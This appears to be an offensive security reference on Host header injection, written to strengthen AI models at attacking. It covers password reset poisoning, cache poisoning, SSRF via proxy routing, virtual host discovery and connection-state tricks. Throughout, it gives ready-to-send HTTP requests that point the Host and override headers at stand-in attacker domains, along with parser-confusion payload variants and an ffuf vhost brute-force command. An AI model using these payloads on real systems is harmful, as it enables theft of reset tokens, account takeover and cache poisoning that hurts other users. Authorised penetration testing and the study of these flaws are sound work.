Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
0. RELATED ROUTING
web-cache-deception
when Host injection is combined with cache behavior
ssrf-server-side-request-forgery
when Host header routes requests to internal services
open-redirect
when Host injection causes redirect to attacker domain
waf-bypass-techniques
when Host manipulation helps bypass WAF routing
request-smuggling
when smuggling enables Host header manipulation past front-end validation
subdomain-takeover
when Host routing exposes internal vhosts resolvable via subdomain
1. ATTACK SURFACE
The Host header is used by web applications and infrastructure for:
Inject attacker domain → user clicks link to attacker
Virtual host routing
Spoof Host → access internal/admin vhost
Cache key component
Inject different Host → poison cache for all users
Reverse proxy routing
Host determines backend → SSRF to internal services
Access control decisions
Host-based ACLs can be bypassed
Canonical URL / SEO redirects
Host injection → open redirect
2. PASSWORD RESET POISONING
The most common and impactful Host header attack.
How It Works
1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
Testing
POST
/
forgot-password
HTTP/1.1
Host
:
attacker-collaborator.burpcollaborator.net
Content-Type
:
application/x-www-form-urlencoded
email=victim@target.com
Check Burp Collaborator for incoming HTTP request with the reset token.
Variants
Some apps concatenate:
Host: target.com.attacker.com
→ link becomes
https://target.com.attacker.com/reset?token=xxx
Some apps use only the port portion:
Host: target.com:@attacker.com
→ parsed as
attacker.com
in some URL parsers
3. WEB CACHE POISONING VIA HOST
1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.com
Key requirement
Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
4. SSRF VIA HOST ROUTING
When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service
Common in:
Nginx
proxy_pass
based on
$host
Apache
ProxyPass
with virtual host routing
Kubernetes Ingress controllers
Cloud load balancers
5. VIRTUAL HOST BYPASS
Many servers host multiple applications on the same IP via virtual hosting:
Target: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page
Discovery
1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts
6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
6.1 Override Headers
Many frameworks/proxies trust these headers over the Host header:
Header
Frameworks That Trust It
X-Forwarded-Host
Symfony, Laravel, Django (when
USE_X_FORWARDED_HOST=True
), Rails (behind proxy)
X-Host
Some custom proxy configurations
X-Original-URL
IIS with URL Rewrite module
X-Rewrite-URL
IIS with URL Rewrite module
Forwarded: host=attacker.com
RFC 7239 compliant proxies
X-Forwarded-Server
Apache mod_proxy
Test all simultaneously:
GET
/
forgot-password
HTTP/1.1
Host
:
target.com
X-Forwarded-Host
:
attacker.com
X-Host
:
attacker.com
X-Original-URL
:
/forgot-password
Forwarded
:
host=attacker.com
6.2 Absolute URL in Request Line
GET
http
:
//
attacker.com
/
path
HTTP/1.1
Host
:
target.com
Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
6.3 Double Host Header
GET
/
path
HTTP/1.1
Host
:
target.com
Host
:
attacker.com
Behavior varies:
Some proxies validate first Host, app uses second
Some servers concatenate:
target.com, attacker.com
RFC says: if both differ, return 400. Most servers don't.
6.4 Host with Port / Credentials
Host
:
target.com:@attacker.com
Host
:
target.com:evil.com
Host
:
target.com#@attacker.com
Host
:
attacker.com%23@target.com
URL parsers may extract the "host" portion differently when credentials (
@
) or fragments (
) are present.
6.5 Trailing Dot
Host
:
target.com.
DNS treats
target.com.
and
target.com
identically (trailing dot = FQDN). But Host validation may not strip the trailing dot →
target.com. ≠ target.com
in string comparison → bypass whitelist.
6.6 Tab / Space Injection
Host
:
target.com\tattacker.com
Host
:
target.com attacker.com
Some parsers split on whitespace; the server may use
attacker.com
portion while validation checks
target.com
portion.
6.7 Wrap-Around / Enclosed Values
Host
:
"attacker.com"
Host
:
Quoted or bracketed values may be stripped by the app but not by the validator.
7. FRAMEWORK-SPECIFIC BEHAVIOR
Framework
Host Source
Gotcha
PHP
$_SERVER['HTTP_HOST']
(raw header, directly injectable)
SERVER_NAME
is safer only with
UseCanonicalName On
Django
HttpRequest.get_host()
checks X-Forwarded-Host first (if enabled)
USE_X_FORWARDED_HOST=True
bypasses
ALLOWED_HOSTS
Rails
request.host
from Host header; trusts
X-Forwarded-Host
behind proxy
Rails 6+
HostAuthorization
middleware mitigates
Node/Express
req.hostname
/
req.headers.host
; with
trust proxy
uses X-Forwarded-Host
No built-in host validation
8. CONNECTION-STATE ATTACKS
A sophisticated variant exploiting HTTP keep-alive:
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)
This works against proxies that perform Host validation only on the first request of a keep-alive connection.
Testing
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently
9. HOST HEADER ATTACK DECISION TREE
Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)
10. TRICK NOTES — WHAT AI MODELS MISS
Password reset poisoning doesn't require the victim to be logged in
— you request the reset, the victim just clicks the link. The token lands on your server.
X-Forwarded-Host is the #1 missed bypass
Most Host validation checks
Host
header but frameworks silently prefer
X-Forwarded-Host
when behind a proxy.
Double Host header is protocol-valid but behavior-undefined
RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
Absolute URI overrides Host per RFC
:
GET http://evil.com/path HTTP/1.1\nHost: target.com
— the spec says use the request-line URI. But not all implementations agree.
Cache poisoning via Host requires the cache to exclude Host from the key
Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with
X-Forwarded-Host
as cache key differentiator.
Connection-state attacks are rarely tested
Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
DNS rebinding + Host attacks
If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.